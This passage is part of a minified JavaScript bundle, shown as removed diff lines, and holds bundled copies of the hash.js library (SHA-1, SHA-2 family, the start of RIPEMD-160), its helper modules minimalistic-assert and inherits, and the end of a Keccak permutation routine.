^ t4[49]) ^ (s3 << 1 | o3 >>> 31), t4[0] ^= e3, t4[1] ^= r5, t4[10] ^= e3, t4[11] ^= r5, t4[20] ^= e3, t4[21] ^= r5, t4[30] ^= e3, t4[31] ^= r5, t4[40] ^= e3, t4[41] ^= r5, e3 = A3 ^ (a3 << 1 | c3 >>> 31), r5 = i3 ^ (c3 << 1 | a3 >>> 31), t4[2] ^= e3, t4[3] ^= r5, t4[12] ^= e3, t4[13] ^= r5, t4[22] ^= e3, t4[23] ^= r5, t4[32] ^= e3, t4[33] ^= r5, t4[42] ^= e3, t4[43] ^= r5, e3 = o3 ^ (h3 << 1 | u3 >>> 31), r5 = s3 ^ (u3 << 1 | h3 >>> 31), t4[4] ^= e3, t4[5] ^= r5, t4[14] ^= e3, t4[15] ^= r5, t4[24] ^= e3, t4[25] ^= r5, t4[34] ^= e3, t4[35] ^= r5, t4[44] ^= e3, t4[45] ^= r5, e3 = a3 ^ (l3 << 1 | f3 >>> 31), r5 = c3 ^ (f3 << 1 | l3 >>> 31), t4[6] ^= e3, t4[7] ^= r5, t4[16] ^= e3, t4[17] ^= r5, t4[26] ^= e3, t4[27] ^= r5, t4[36] ^= e3, t4[37] ^= r5, t4[46] ^= e3, t4[47] ^= r5, e3 = h3 ^ (A3 << 1 | i3 >>> 31), r5 = u3 ^ (i3 << 1 | A3 >>> 31), t4[8] ^= e3, t4[9] ^= r5, t4[18] ^= e3, t4[19] ^= r5, t4[28] ^= e3, t4[29] ^= r5, t4[38] ^= e3, t4[39] ^= r5, t4[48] ^= e3, t4[49] ^= r5, p3 = t4[0], d3 = t4[1], z2 = t4[11] << 4 | t4[10] >>> 28, q2 = t4[10] << 4 | t4[11] >>> 28, D3 = t4[20] << 3 | t4[21] >>> 29, S3 = t4[21] << 3 | t4[20] >>> 29, st2 = t4[31] << 9 | t4[30] >>> 23, at2 = t4[30] << 9 | t4[31] >>> 23, Y2 = t4[40] << 18 | t4[41] >>> 14, K2 = t4[41] << 18 | t4[40] >>> 14, P2 = t4[2] << 1 | t4[3] >>> 31, T2 = t4[3] << 1 | t4[2] >>> 31, I3 = t4[13] << 12 | t4[12] >>> 20, y3 = t4[12] << 12 | t4[13] >>> 20, X2 = t4[22] << 10 | t4[23] >>> 22, V2 = t4[23] << 10 | t4[22] >>> 22, N4 = t4[33] << 13 | t4[32] >>> 19, M3 = t4[32] << 13 | t4[33] >>> 19, ct2 = t4[42] << 2 | t4[43] >>> 30, ht2 = t4[43] << 2 | t4[42] >>> 30, et2 = t4[5] << 30 | t4[4] >>> 2, rt2 = t4[4] << 30 | t4[5] >>> 2, R2 = t4[14] << 6 | t4[15] >>> 26, U2 = t4[15] << 6 | t4[14] >>> 26, C3 = t4[25] << 11 | t4[24] >>> 21, m3 = t4[24] << 11 | t4[25] >>> 21, W2 = t4[34] << 15 | t4[35] >>> 17, Z2 = t4[35] << 15 | t4[34] >>> 17, x3 = t4[45] << 29 | t4[44] >>> 3, F2 = t4[44] << 29 | t4[45] >>> 3, _3 = t4[6] << 28 | t4[7] >>> 4, Q3 = t4[7] << 28 | t4[6] >>> 4, nt2 = t4[17] << 23 | t4[16] >>> 9, At2 = t4[16] << 23 | t4[17] >>> 9, G2 = t4[26] << 25 | t4[27] >>> 7, H2 = t4[27] << 25 | t4[26] >>> 7, B3 = t4[36] << 21 | t4[37] >>> 11, E3 = t4[37] << 21 | t4[36] >>> 11, $2 = t4[47] << 24 | t4[46] >>> 8, tt2 = t4[46] << 24 | t4[47] >>> 8, J2 = t4[8] << 27 | t4[9] >>> 5, j2 = t4[9] << 27 | t4[8] >>> 5, b3 = t4[18] << 20 | t4[19] >>> 12, k3 = t4[19] << 20 | t4[18] >>> 12, it2 = t4[29] << 7 | t4[28] >>> 25, ot2 = t4[28] << 7 | t4[29] >>> 25, L2 = t4[38] << 8 | t4[39] >>> 24, O2 = t4[39] << 8 | t4[38] >>> 24, w3 = t4[48] << 14 | t4[49] >>> 18, v3 = t4[49] << 14 | t4[48] >>> 18, t4[0] = p3 ^ ~I3 & C3, t4[1] = d3 ^ ~y3 & m3, t4[10] = _3 ^ ~b3 & D3, t4[11] = Q3 ^ ~k3 & S3, t4[20] = P2 ^ ~R2 & G2, t4[21] = T2 ^ ~U2 & H2, t4[30] = J2 ^ ~z2 & X2, t4[31] = j2 ^ ~q2 & V2, t4[40] = et2 ^ ~nt2 & it2, t4[41] = rt2 ^ ~At2 & ot2, t4[2] = I3 ^ ~C3 & B3, t4[3] = y3 ^ ~m3 & E3, t4[12] = b3 ^ ~D3 & N4, t4[13] = k3 ^ ~S3 & M3, t4[22] = R2 ^ ~G2 & L2, t4[23] = U2 ^ ~H2 & O2, t4[32] = z2 ^ ~X2 & W2, t4[33] = q2 ^ ~V2 & Z2, t4[42] = nt2 ^ ~it2 & st2, t4[43] = At2 ^ ~ot2 & at2, t4[4] = C3 ^ ~B3 & w3, t4[5] = m3 ^ ~E3 & v3, t4[14] = D3 ^ ~N4 & x3, t4[15] = S3 ^ ~M3 & F2, t4[24] = G2 ^ ~L2 & Y2, t4[25] = H2 ^ ~O2 & K2, t4[34] = X2 ^ ~W2 & $2, t4[35] = V2 ^ ~Z2 & tt2, t4[44] = it2 ^ ~st2 & ct2, t4[45] = ot2 ^ ~at2 & ht2, t4[6] = B3 ^ ~w3 & p3, t4[7] = E3 ^ ~v3 & d3, t4[16] = N4 ^ ~x3 & _3, t4[17] = M3 ^ ~F2 & Q3, t4[26] = L2 ^ ~Y2 & P2, t4[27] = O2 ^ ~K2 & T2, t4[36] = W2 ^ ~$2 & J2, t4[37] = Z2 ^ ~tt2 & j2, t4[46] = st2 ^ ~ct2 & et2, t4[47] = at2 ^ ~ht2 & rt2, t4[8] = w3 ^ ~p3 & I3, t4[9] = v3 ^ ~d3 & y3, t4[18] = x3 ^ ~_3 & b3, t4[19] = F2 ^ ~Q3 & k3, t4[28] = Y2 ^ ~P2 & R2, t4[29] = K2 ^ ~T2 & U2, t4[38] = $2 ^ ~J2 & z2, t4[39] = tt2 ^ ~j2 & q2, t4[48] = ct2 ^ ~et2 & nt2, t4[49] = ht2 ^ ~rt2 & At2, t4[0] ^= g2[n3], t4[1] ^= g2[n3 + 1]; - }; - if (i2) - e2.exports = w2; - else { - for (_2 = 0; _2 < v2.length; ++_2) - n2[v2[_2]] = w2[v2[_2]]; - o2 && define(function() { - return w2; - }); - } - }(); - } }); - var cl = rl({ "node_modules/minimalistic-assert/index.js"(t2, e2) { - function r4(t3, e3) { - if (!t3) - throw new Error(e3 || "Assertion failed"); - } - Al(), il(), e2.exports = r4, r4.equal = function(t3, e3, r5) { - if (t3 != e3) - throw new Error(r5 || "Assertion failed: " + t3 + " != " + e3); - }; - } }); - var hl = rl({ "node_modules/inherits/inherits_browser.js"(t2, e2) { - Al(), il(), "function" == typeof Object.create ? e2.exports = function(t3, e3) { - e3 && (t3.super_ = e3, t3.prototype = Object.create(e3.prototype, { constructor: { value: t3, enumerable: false, writable: true, configurable: true } })); - } : e2.exports = function(t3, e3) { - if (e3) { - t3.super_ = e3; - var r4 = function() { - }; - r4.prototype = e3.prototype, t3.prototype = new r4(), t3.prototype.constructor = t3; - } - }; - } }); - var gl = rl({ "node_modules/hash.js/lib/hash/utils.js"(t2) { - Al(), il(); - var e2 = cl(), r4 = hl(); - function n2(t3, e3) { - return 55296 == (64512 & t3.charCodeAt(e3)) && (!(e3 < 0 || e3 + 1 >= t3.length) && 56320 == (64512 & t3.charCodeAt(e3 + 1))); - } - function A2(t3) { - return (t3 >>> 24 | t3 >>> 8 & 65280 | t3 << 8 & 16711680 | (255 & t3) << 24) >>> 0; - } - function i2(t3) { - return 1 === t3.length ? "0" + t3 : t3; - } - function o2(t3) { - return 7 === t3.length ? "0" + t3 : 6 === t3.length ? "00" + t3 : 5 === t3.length ? "000" + t3 : 4 === t3.length ? "0000" + t3 : 3 === t3.length ? "00000" + t3 : 2 === t3.length ? "000000" + t3 : 1 === t3.length ? "0000000" + t3 : t3; - } - t2.inherits = r4, t2.toArray = function(t3, e3) { - if (Array.isArray(t3)) - return t3.slice(); - if (!t3) - return []; - var r5 = []; - if ("string" == typeof t3) - if (e3) { - if ("hex" === e3) - for ((t3 = t3.replace(/[^a-z0-9]+/gi, "")).length % 2 != 0 && (t3 = "0" + t3), i3 = 0; i3 < t3.length; i3 += 2) - r5.push(parseInt(t3[i3] + t3[i3 + 1], 16)); - } else - for (var A3 = 0, i3 = 0; i3 < t3.length; i3++) { - var o3 = t3.charCodeAt(i3); - o3 < 128 ? r5[A3++] = o3 : o3 < 2048 ? (r5[A3++] = o3 >> 6 | 192, r5[A3++] = 63 & o3 | 128) : n2(t3, i3) ? (o3 = 65536 + ((1023 & o3) << 10) + (1023 & t3.charCodeAt(++i3)), r5[A3++] = o3 >> 18 | 240, r5[A3++] = o3 >> 12 & 63 | 128, r5[A3++] = o3 >> 6 & 63 | 128, r5[A3++] = 63 & o3 | 128) : (r5[A3++] = o3 >> 12 | 224, r5[A3++] = o3 >> 6 & 63 | 128, r5[A3++] = 63 & o3 | 128); - } - else - for (i3 = 0; i3 < t3.length; i3++) - r5[i3] = 0 | t3[i3]; - return r5; - }, t2.toHex = function(t3) { - for (var e3 = "", r5 = 0; r5 < t3.length; r5++) - e3 += i2(t3[r5].toString(16)); - return e3; - }, t2.htonl = A2, t2.toHex32 = function(t3, e3) { - for (var r5 = "", n3 = 0; n3 < t3.length; n3++) { - var i3 = t3[n3]; - "little" === e3 && (i3 = A2(i3)), r5 += o2(i3.toString(16)); - } - return r5; - }, t2.zero2 = i2, t2.zero8 = o2, t2.join32 = function(t3, r5, n3, A3) { - var i3 = n3 - r5; - e2(i3 % 4 == 0); - for (var o3 = new Array(i3 / 4), s2 = 0, a2 = r5; s2 < o3.length; s2++, a2 += 4) { - var c2; - c2 = "big" === A3 ? t3[a2] << 24 | t3[a2 + 1] << 16 | t3[a2 + 2] << 8 | t3[a2 + 3] : t3[a2 + 3] << 24 | t3[a2 + 2] << 16 | t3[a2 + 1] << 8 | t3[a2], o3[s2] = c2 >>> 0; - } - return o3; - }, t2.split32 = function(t3, e3) { - for (var r5 = new Array(4 * t3.length), n3 = 0, A3 = 0; n3 < t3.length; n3++, A3 += 4) { - var i3 = t3[n3]; - "big" === e3 ? (r5[A3] = i3 >>> 24, r5[A3 + 1] = i3 >>> 16 & 255, r5[A3 + 2] = i3 >>> 8 & 255, r5[A3 + 3] = 255 & i3) : (r5[A3 + 3] = i3 >>> 24, r5[A3 + 2] = i3 >>> 16 & 255, r5[A3 + 1] = i3 >>> 8 & 255, r5[A3] = 255 & i3); - } - return r5; - }, t2.rotr32 = function(t3, e3) { - return t3 >>> e3 | t3 << 32 - e3; - }, t2.rotl32 = function(t3, e3) { - return t3 << e3 | t3 >>> 32 - e3; - }, t2.sum32 = function(t3, e3) { - return t3 + e3 >>> 0; - }, t2.sum32_3 = function(t3, e3, r5) { - return t3 + e3 + r5 >>> 0; - }, t2.sum32_4 = function(t3, e3, r5, n3) { - return t3 + e3 + r5 + n3 >>> 0; - }, t2.sum32_5 = function(t3, e3, r5, n3, A3) { - return t3 + e3 + r5 + n3 + A3 >>> 0; - }, t2.sum64 = function(t3, e3, r5, n3) { - var A3 = t3[e3], i3 = n3 + t3[e3 + 1] >>> 0, o3 = (i3 < n3 ? 1 : 0) + r5 + A3; - t3[e3] = o3 >>> 0, t3[e3 + 1] = i3; - }, t2.sum64_hi = function(t3, e3, r5, n3) { - return (e3 + n3 >>> 0 < e3 ? 1 : 0) + t3 + r5 >>> 0; - }, t2.sum64_lo = function(t3, e3, r5, n3) { - return e3 + n3 >>> 0; - }, t2.sum64_4_hi = function(t3, e3, r5, n3, A3, i3, o3, s2) { - var a2 = 0, c2 = e3; - return a2 += (c2 = c2 + n3 >>> 0) < e3 ? 1 : 0, a2 += (c2 = c2 + i3 >>> 0) < i3 ? 1 : 0, t3 + r5 + A3 + o3 + (a2 += (c2 = c2 + s2 >>> 0) < s2 ? 1 : 0) >>> 0; - }, t2.sum64_4_lo = function(t3, e3, r5, n3, A3, i3, o3, s2) { - return e3 + n3 + i3 + s2 >>> 0; - }, t2.sum64_5_hi = function(t3, e3, r5, n3, A3, i3, o3, s2, a2, c2) { - var h2 = 0, g2 = e3; - return h2 += (g2 = g2 + n3 >>> 0) < e3 ? 1 : 0, h2 += (g2 = g2 + i3 >>> 0) < i3 ? 1 : 0, h2 += (g2 = g2 + s2 >>> 0) < s2 ? 1 : 0, t3 + r5 + A3 + o3 + a2 + (h2 += (g2 = g2 + c2 >>> 0) < c2 ? 1 : 0) >>> 0; - }, t2.sum64_5_lo = function(t3, e3, r5, n3, A3, i3, o3, s2, a2, c2) { - return e3 + n3 + i3 + s2 + c2 >>> 0; - }, t2.rotr64_hi = function(t3, e3, r5) { - return (e3 << 32 - r5 | t3 >>> r5) >>> 0; - }, t2.rotr64_lo = function(t3, e3, r5) { - return (t3 << 32 - r5 | e3 >>> r5) >>> 0; - }, t2.shr64_hi = function(t3, e3, r5) { - return t3 >>> r5; - }, t2.shr64_lo = function(t3, e3, r5) { - return (t3 << 32 - r5 | e3 >>> r5) >>> 0; - }; - } }); - var ul = rl({ "node_modules/hash.js/lib/hash/common.js"(t2) { - Al(), il(); - var e2 = gl(), r4 = cl(); - function n2() { - this.pending = null, this.pendingTotal = 0, this.blockSize = this.constructor.blockSize, this.outSize = this.constructor.outSize, this.hmacStrength = this.constructor.hmacStrength, this.padLength = this.constructor.padLength / 8, this.endian = "big", this._delta8 = this.blockSize / 8, this._delta32 = this.blockSize / 32; - } - t2.BlockHash = n2, n2.prototype.update = function(t3, r5) { - if (t3 = e2.toArray(t3, r5), this.pending ? this.pending = this.pending.concat(t3) : this.pending = t3, this.pendingTotal += t3.length, this.pending.length >= this._delta8) { - var n3 = (t3 = this.pending).length % this._delta8; - this.pending = t3.slice(t3.length - n3, t3.length), 0 === this.pending.length && (this.pending = null), t3 = e2.join32(t3, 0, t3.length - n3, this.endian); - for (var A2 = 0; A2 < t3.length; A2 += this._delta32) - this._update(t3, A2, A2 + this._delta32); - } - return this; - }, n2.prototype.digest = function(t3) { - return this.update(this._pad()), r4(null === this.pending), this._digest(t3); - }, n2.prototype._pad = function() { - var t3 = this.pendingTotal, e3 = this._delta8, r5 = e3 - (t3 + this.padLength) % e3, n3 = new Array(r5 + this.padLength); - n3[0] = 128; - for (var A2 = 1; A2 < r5; A2++) - n3[A2] = 0; - if (t3 <<= 3, "big" === this.endian) { - for (var i2 = 8; i2 < this.padLength; i2++) - n3[A2++] = 0; - n3[A2++] = 0, n3[A2++] = 0, n3[A2++] = 0, n3[A2++] = 0, n3[A2++] = t3 >>> 24 & 255, n3[A2++] = t3 >>> 16 & 255, n3[A2++] = t3 >>> 8 & 255, n3[A2++] = 255 & t3; - } else - for (n3[A2++] = 255 & t3, n3[A2++] = t3 >>> 8 & 255, n3[A2++] = t3 >>> 16 & 255, n3[A2++] = t3 >>> 24 & 255, n3[A2++] = 0, n3[A2++] = 0, n3[A2++] = 0, n3[A2++] = 0, i2 = 8; i2 < this.padLength; i2++) - n3[A2++] = 0; - return n3; - }; - } }); - var ll = rl({ "node_modules/hash.js/lib/hash/sha/common.js"(t2) { - Al(), il(); - var e2 = gl().rotr32; - function r4(t3, e3, r5) { - return t3 & e3 ^ ~t3 & r5; - } - function n2(t3, e3, r5) { - return t3 & e3 ^ t3 & r5 ^ e3 & r5; - } - function A2(t3, e3, r5) { - return t3 ^ e3 ^ r5; - } - t2.ft_1 = function(t3, e3, i2, o2) { - return 0 === t3 ? r4(e3, i2, o2) : 1 === t3 || 3 === t3 ? A2(e3, i2, o2) : 2 === t3 ? n2(e3, i2, o2) : void 0; - }, t2.ch32 = r4, t2.maj32 = n2, t2.p32 = A2, t2.s0_256 = function(t3) { - return e2(t3, 2) ^ e2(t3, 13) ^ e2(t3, 22); - }, t2.s1_256 = function(t3) { - return e2(t3, 6) ^ e2(t3, 11) ^ e2(t3, 25); - }, t2.g0_256 = function(t3) { - return e2(t3, 7) ^ e2(t3, 18) ^ t3 >>> 3; - }, t2.g1_256 = function(t3) { - return e2(t3, 17) ^ e2(t3, 19) ^ t3 >>> 10; - }; - } }); - var fl = rl({ "node_modules/hash.js/lib/hash/sha/1.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = ul(), A2 = ll(), i2 = r4.rotl32, o2 = r4.sum32, s2 = r4.sum32_5, a2 = A2.ft_1, c2 = n2.BlockHash, h2 = [1518500249, 1859775393, 2400959708, 3395469782]; - function g2() { - if (!(this instanceof g2)) - return new g2(); - c2.call(this), this.h = [1732584193, 4023233417, 2562383102, 271733878, 3285377520], this.W = new Array(80); - } - r4.inherits(g2, c2), e2.exports = g2, g2.blockSize = 512, g2.outSize = 160, g2.hmacStrength = 80, g2.padLength = 64, g2.prototype._update = function(t3, e3) { - for (var r5 = this.W, n3 = 0; n3 < 16; n3++) - r5[n3] = t3[e3 + n3]; - for (; n3 < r5.length; n3++) - r5[n3] = i2(r5[n3 - 3] ^ r5[n3 - 8] ^ r5[n3 - 14] ^ r5[n3 - 16], 1); - var A3 = this.h[0], c3 = this.h[1], g3 = this.h[2], u2 = this.h[3], l2 = this.h[4]; - for (n3 = 0; n3 < r5.length; n3++) { - var f2 = ~~(n3 / 20), p2 = s2(i2(A3, 5), a2(f2, c3, g3, u2), l2, r5[n3], h2[f2]); - l2 = u2, u2 = g3, g3 = i2(c3, 30), c3 = A3, A3 = p2; - } - this.h[0] = o2(this.h[0], A3), this.h[1] = o2(this.h[1], c3), this.h[2] = o2(this.h[2], g3), this.h[3] = o2(this.h[3], u2), this.h[4] = o2(this.h[4], l2); - }, g2.prototype._digest = function(t3) { - return "hex" === t3 ? r4.toHex32(this.h, "big") : r4.split32(this.h, "big"); - }; - } }); - var pl = rl({ "node_modules/hash.js/lib/hash/sha/256.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = ul(), A2 = ll(), i2 = cl(), o2 = r4.sum32, s2 = r4.sum32_4, a2 = r4.sum32_5, c2 = A2.ch32, h2 = A2.maj32, g2 = A2.s0_256, u2 = A2.s1_256, l2 = A2.g0_256, f2 = A2.g1_256, p2 = n2.BlockHash, d2 = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]; - function I2() { - if (!(this instanceof I2)) - return new I2(); - p2.call(this), this.h = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225], this.k = d2, this.W = new Array(64); - } - r4.inherits(I2, p2), e2.exports = I2, I2.blockSize = 512, I2.outSize = 256, I2.hmacStrength = 192, I2.padLength = 64, I2.prototype._update = function(t3, e3) { - for (var r5 = this.W, n3 = 0; n3 < 16; n3++) - r5[n3] = t3[e3 + n3]; - for (; n3 < r5.length; n3++) - r5[n3] = s2(f2(r5[n3 - 2]), r5[n3 - 7], l2(r5[n3 - 15]), r5[n3 - 16]); - var A3 = this.h[0], p3 = this.h[1], d3 = this.h[2], I3 = this.h[3], y2 = this.h[4], C2 = this.h[5], m2 = this.h[6], B2 = this.h[7]; - for (i2(this.k.length === r5.length), n3 = 0; n3 < r5.length; n3++) { - var E2 = a2(B2, u2(y2), c2(y2, C2, m2), this.k[n3], r5[n3]), w2 = o2(g2(A3), h2(A3, p3, d3)); - B2 = m2, m2 = C2, C2 = y2, y2 = o2(I3, E2), I3 = d3, d3 = p3, p3 = A3, A3 = o2(E2, w2); - } - this.h[0] = o2(this.h[0], A3), this.h[1] = o2(this.h[1], p3), this.h[2] = o2(this.h[2], d3), this.h[3] = o2(this.h[3], I3), this.h[4] = o2(this.h[4], y2), this.h[5] = o2(this.h[5], C2), this.h[6] = o2(this.h[6], m2), this.h[7] = o2(this.h[7], B2); - }, I2.prototype._digest = function(t3) { - return "hex" === t3 ? r4.toHex32(this.h, "big") : r4.split32(this.h, "big"); - }; - } }); - var dl = rl({ "node_modules/hash.js/lib/hash/sha/224.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = pl(); - function A2() { - if (!(this instanceof A2)) - return new A2(); - n2.call(this), this.h = [3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]; - } - r4.inherits(A2, n2), e2.exports = A2, A2.blockSize = 512, A2.outSize = 224, A2.hmacStrength = 192, A2.padLength = 64, A2.prototype._digest = function(t3) { - return "hex" === t3 ? r4.toHex32(this.h.slice(0, 7), "big") : r4.split32(this.h.slice(0, 7), "big"); - }; - } }); - var Il = rl({ "node_modules/hash.js/lib/hash/sha/512.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = ul(), A2 = cl(), i2 = r4.rotr64_hi, o2 = r4.rotr64_lo, s2 = r4.shr64_hi, a2 = r4.shr64_lo, c2 = r4.sum64, h2 = r4.sum64_hi, g2 = r4.sum64_lo, u2 = r4.sum64_4_hi, l2 = r4.sum64_4_lo, f2 = r4.sum64_5_hi, p2 = r4.sum64_5_lo, d2 = n2.BlockHash, I2 = [1116352408, 3609767458, 1899447441, 602891725, 3049323471, 3964484399, 3921009573, 2173295548, 961987163, 4081628472, 1508970993, 3053834265, 2453635748, 2937671579, 2870763221, 3664609560, 3624381080, 2734883394, 310598401, 1164996542, 607225278, 1323610764, 1426881987, 3590304994, 1925078388, 4068182383, 2162078206, 991336113, 2614888103, 633803317, 3248222580, 3479774868, 3835390401, 2666613458, 4022224774, 944711139, 264347078, 2341262773, 604807628, 2007800933, 770255983, 1495990901, 1249150122, 1856431235, 1555081692, 3175218132, 1996064986, 2198950837, 2554220882, 3999719339, 2821834349, 766784016, 2952996808, 2566594879, 3210313671, 3203337956, 3336571891, 1034457026, 3584528711, 2466948901, 113926993, 3758326383, 338241895, 168717936, 666307205, 1188179964, 773529912, 1546045734, 1294757372, 1522805485, 1396182291, 2643833823, 1695183700, 2343527390, 1986661051, 1014477480, 2177026350, 1206759142, 2456956037, 344077627, 2730485921, 1290863460, 2820302411, 3158454273, 3259730800, 3505952657, 3345764771, 106217008, 3516065817, 3606008344, 3600352804, 1432725776, 4094571909, 1467031594, 275423344, 851169720, 430227734, 3100823752, 506948616, 1363258195, 659060556, 3750685593, 883997877, 3785050280, 958139571, 3318307427, 1322822218, 3812723403, 1537002063, 2003034995, 1747873779, 3602036899, 1955562222, 1575990012, 2024104815, 1125592928, 2227730452, 2716904306, 2361852424, 442776044, 2428436474, 593698344, 2756734187, 3733110249, 3204031479, 2999351573, 3329325298, 3815920427, 3391569614, 3928383900, 3515267271, 566280711, 3940187606, 3454069534, 4118630271, 4000239992, 116418474, 1914138554, 174292421, 2731055270, 289380356, 3203993006, 460393269, 320620315, 685471733, 587496836, 852142971, 1086792851, 1017036298, 365543100, 1126000580, 2618297676, 1288033470, 3409855158, 1501505948, 4234509866, 1607167915, 987167468, 1816402316, 1246189591]; - function y2() { - if (!(this instanceof y2)) - return new y2(); - d2.call(this), this.h = [1779033703, 4089235720, 3144134277, 2227873595, 1013904242, 4271175723, 2773480762, 1595750129, 1359893119, 2917565137, 2600822924, 725511199, 528734635, 4215389547, 1541459225, 327033209], this.k = I2, this.W = new Array(160); - } - function C2(t3, e3, r5, n3, A3) { - var i3 = t3 & r5 ^ ~t3 & A3; - return i3 < 0 && (i3 += 4294967296), i3; - } - function m2(t3, e3, r5, n3, A3, i3) { - var o3 = e3 & n3 ^ ~e3 & i3; - return o3 < 0 && (o3 += 4294967296), o3; - } - function B2(t3, e3, r5, n3, A3) { - var i3 = t3 & r5 ^ t3 & A3 ^ r5 & A3; - return i3 < 0 && (i3 += 4294967296), i3; - } - function E2(t3, e3, r5, n3, A3, i3) { - var o3 = e3 & n3 ^ e3 & i3 ^ n3 & i3; - return o3 < 0 && (o3 += 4294967296), o3; - } - function w2(t3, e3) { - var r5 = i2(t3, e3, 28) ^ i2(e3, t3, 2) ^ i2(e3, t3, 7); - return r5 < 0 && (r5 += 4294967296), r5; - } - function v2(t3, e3) { - var r5 = o2(t3, e3, 28) ^ o2(e3, t3, 2) ^ o2(e3, t3, 7); - return r5 < 0 && (r5 += 4294967296), r5; - } - function _2(t3, e3) { - var r5 = i2(t3, e3, 14) ^ i2(t3, e3, 18) ^ i2(e3, t3, 9); - return r5 < 0 && (r5 += 4294967296), r5; - } - function Q2(t3, e3) { - var r5 = o2(t3, e3, 14) ^ o2(t3, e3, 18) ^ o2(e3, t3, 9); - return r5 < 0 && (r5 += 4294967296), r5; - } - function b2(t3, e3) { - var r5 = i2(t3, e3, 1) ^ i2(t3, e3, 8) ^ s2(t3, e3, 7); - return r5 < 0 && (r5 += 4294967296), r5; - } - function k2(t3, e3) { - var r5 = o2(t3, e3, 1) ^ o2(t3, e3, 8) ^ a2(t3, e3, 7); - return r5 < 0 && (r5 += 4294967296), r5; - } - function D2(t3, e3) { - var r5 = i2(t3, e3, 19) ^ i2(e3, t3, 29) ^ s2(t3, e3, 6); - return r5 < 0 && (r5 += 4294967296), r5; - } - function S2(t3, e3) { - var r5 = o2(t3, e3, 19) ^ o2(e3, t3, 29) ^ a2(t3, e3, 6); - return r5 < 0 && (r5 += 4294967296), r5; - } - r4.inherits(y2, d2), e2.exports = y2, y2.blockSize = 1024, y2.outSize = 512, y2.hmacStrength = 192, y2.padLength = 128, y2.prototype._prepareBlock = function(t3, e3) { - for (var r5 = this.W, n3 = 0; n3 < 32; n3++) - r5[n3] = t3[e3 + n3]; - for (; n3 < r5.length; n3 += 2) { - var A3 = D2(r5[n3 - 4], r5[n3 - 3]), i3 = S2(r5[n3 - 4], r5[n3 - 3]), o3 = r5[n3 - 14], s3 = r5[n3 - 13], a3 = b2(r5[n3 - 30], r5[n3 - 29]), c3 = k2(r5[n3 - 30], r5[n3 - 29]), h3 = r5[n3 - 32], g3 = r5[n3 - 31]; - r5[n3] = u2(A3, i3, o3, s3, a3, c3, h3, g3), r5[n3 + 1] = l2(A3, i3, o3, s3, a3, c3, h3, g3); - } - }, y2.prototype._update = function(t3, e3) { - this._prepareBlock(t3, e3); - var r5 = this.W, n3 = this.h[0], i3 = this.h[1], o3 = this.h[2], s3 = this.h[3], a3 = this.h[4], u3 = this.h[5], l3 = this.h[6], d3 = this.h[7], I3 = this.h[8], y3 = this.h[9], b3 = this.h[10], k3 = this.h[11], D3 = this.h[12], S3 = this.h[13], N3 = this.h[14], M2 = this.h[15]; - A2(this.k.length === r5.length); - for (var x2 = 0; x2 < r5.length; x2 += 2) { - var F2 = N3, P2 = M2, T2 = _2(I3, y3), R2 = Q2(I3, y3), U2 = C2(I3, y3, b3, k3, D3), G2 = m2(I3, y3, b3, k3, D3, S3), H2 = this.k[x2], L2 = this.k[x2 + 1], O2 = r5[x2], Y2 = r5[x2 + 1], K2 = f2(F2, P2, T2, R2, U2, G2, H2, L2, O2, Y2), J2 = p2(F2, P2, T2, R2, U2, G2, H2, L2, O2, Y2); - F2 = w2(n3, i3), P2 = v2(n3, i3), T2 = B2(n3, i3, o3, s3, a3), R2 = E2(n3, i3, o3, s3, a3, u3); - var j2 = h2(F2, P2, T2, R2), z2 = g2(F2, P2, T2, R2); - N3 = D3, M2 = S3, D3 = b3, S3 = k3, b3 = I3, k3 = y3, I3 = h2(l3, d3, K2, J2), y3 = g2(d3, d3, K2, J2), l3 = a3, d3 = u3, a3 = o3, u3 = s3, o3 = n3, s3 = i3, n3 = h2(K2, J2, j2, z2), i3 = g2(K2, J2, j2, z2); - } - c2(this.h, 0, n3, i3), c2(this.h, 2, o3, s3), c2(this.h, 4, a3, u3), c2(this.h, 6, l3, d3), c2(this.h, 8, I3, y3), c2(this.h, 10, b3, k3), c2(this.h, 12, D3, S3), c2(this.h, 14, N3, M2); - }, y2.prototype._digest = function(t3) { - return "hex" === t3 ? r4.toHex32(this.h, "big") : r4.split32(this.h, "big"); - }; - } }); - var yl = rl({ "node_modules/hash.js/lib/hash/sha/384.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = Il(); - function A2() { - if (!(this instanceof A2)) - return new A2(); - n2.call(this), this.h = [3418070365, 3238371032, 1654270250, 914150663, 2438529370, 812702999, 355462360, 4144912697, 1731405415, 4290775857, 2394180231, 1750603025, 3675008525, 1694076839, 1203062813, 3204075428]; - } - r4.inherits(A2, n2), e2.exports = A2, A2.blockSize = 1024, A2.outSize = 384, A2.hmacStrength = 192, A2.padLength = 128, A2.prototype._digest = function(t3) { - return "hex" === t3 ? r4.toHex32(this.h.slice(0, 12), "big") : r4.split32(this.h.slice(0, 12), "big"); - }; - } }); - var Cl = rl({ "node_modules/hash.js/lib/hash/sha.js"(t2) { - Al(), il(), t2.sha1 = fl(), t2.sha224 = dl(), t2.sha256 = pl(), t2.sha384 = yl(), t2.sha512 = Il(); - } }); - var ml = rl({ "node_modules/hash.js/lib/hash/ripemd.js"(t2) { - Al(), il(); - var e2 = gl(), r4 = ul(), n2 = e2.rotl32, A2 = e2.sum32, i2 = e2.sum32_3, o2 = e2.sum32_4, s2 = r4.BlockHash; - function a2() { - if (!(this instanceof a2)) - return new a2(); - s2.call(this), this.h = [1732584193, 4023233417, 2562383102, 271733878, 